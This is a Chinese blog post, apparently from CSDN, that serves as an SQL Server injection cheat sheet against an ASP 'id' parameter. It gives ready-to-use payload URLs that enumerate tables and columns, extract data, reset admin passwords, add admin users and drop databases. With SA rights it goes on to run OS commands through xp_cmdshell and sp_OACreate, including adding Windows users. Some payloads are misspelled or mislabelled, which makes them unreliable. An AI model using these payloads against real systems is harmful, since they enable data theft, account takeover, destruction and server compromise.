SQL server 注入笔记(备查)

本文详细介绍了SQL Server注入的各种方法,包括爆当前表中的列、任意表、任意列,以及如何爆出具体数据、修改管理员密码、添加管理员、删除数据库。此外,还探讨了如何判断系统是否支持多句查询和子查询,以及在拥有SA权限时如何利用扩展存储过程获取系统shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

例如:注入点 http://www.XX.com/index.asp?id=1

爆当前表中的列

1.1、http://www.XX.com/index.asp?id=1 and user>0
// 获得当前数据库用户名,user是SQL server的内置变量,运气好可获取用户名,‘dbo’是sa权限 public是public权限,类似SESSION_USER,CURRENT_USER,SYSTEM_USER.
1.2、http://www.XX.com/index.asp?id=1 and (select @@version)>0
//获得当前数据库版本
1.3、http://www.XX.com/index.asp?id=1 and db_name>0
//获得当前数据库名
2、http://www.XX.com/index.asp?id=1 having 1=1–
//为了爆列名和表名
3、http://www.XX.com/index.asp?id=1 group by 已知列1、已知列2 having 1=1–
//为了爆出更多列名


爆任意表

1、http://www.XX.com/index.asp?id=1 and(select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85))T order by id desc)>1
//TOP 子句用于规定要返回的记录的数目。
//char(85)=U 表示用户表
//给查找出来的虚拟表命名为T
//ORDER BY 语句用于根据指定的列对结果集进行排序。默认升序 ,降序用 DESC 关键字。
//得到的是varchar型表名,跟1做比较会强制转换为int 会失败。就可以报错得到表名
// sysobjects是系统表关于SQL Server数据库的一切信息都保存在它的系统表格里
这里写图片描述


爆任意表中任意列

1、http://www.XX.com/index.asp?id=1 and (select top 1 col_name(object_id(‘已知表名’),1) from sysojects)>1
// COL_NAME ( table_id , column_id )
table_id 包含数据库列的的标识号。table_id 属于 int 类型。
column_id 的标识号。column_id 参数属于 int 类型。
返回类型 sysname


爆出具体数据

1、http://www.XX.com/index.asp?id=1 and (select top 1 列名 from 表名 where id=N)>1
//猜解表中的列中的第N条数据


修改管理员密码

1、http://www.XX.com/index.asp?id=1;update 表名 set 列名=‘新内容’ where 名称=‘条件’

添加管理员

1、http://www.XX.com/index.asp?id=1;insert into 表名 values(姓名,密码)–


删除数据库

1、http://www.XX.com/index.asp?id=1;drop database 数据库名


判断是否支持多句查询、子查询

多句、http://www.XX.com/index.asp?id=1;declare @a int–
子查询、http://www.XX.com/index.asp?id=1and (select count(1) from [sysobjects])>=0


如果你有SA权限 得到shell

利用数据库扩展存储过程 exec master..xp_cmdshell 后面加上引号,引号内输入cmd命令就可执行

判断扩展存储过程判断是否存在: http://www.XX.com/index.asp?id=1 and SELECT count(*) FROM master.dbo.sysobjects WHERE stype=’x’ AND name=’xp_cmdshell’
恢复不存在的扩展存储过程: http://www.XX.com/index.asp?id=1;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程: http://www.XX.com/index.asp?id=1;exec sp_addextendedproc ‘xp_cmdshell’

//反应正常说明存在
1、http://www.XX.com/index.asp?id=1;exec master..xp_cmdshell ‘dir c:\’
//查看c盘目录和文件
2、http://www.XX.com/index.asp?id=1;exec master..xp_cmdshell ‘net user 用户名 密码/add’
//添加用户

关键函数访问OLE控件 函数sp_OACreate 、 sp_OAMethod

1、http://www.XX.com/index.asp?id=1;DECLARE @S INT EXEC SP_OACREAT ‘wscript.shell’,@s exec master..SPOAMETHOD @s,’run’,null,’cmd.exe/c dir c:\’

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值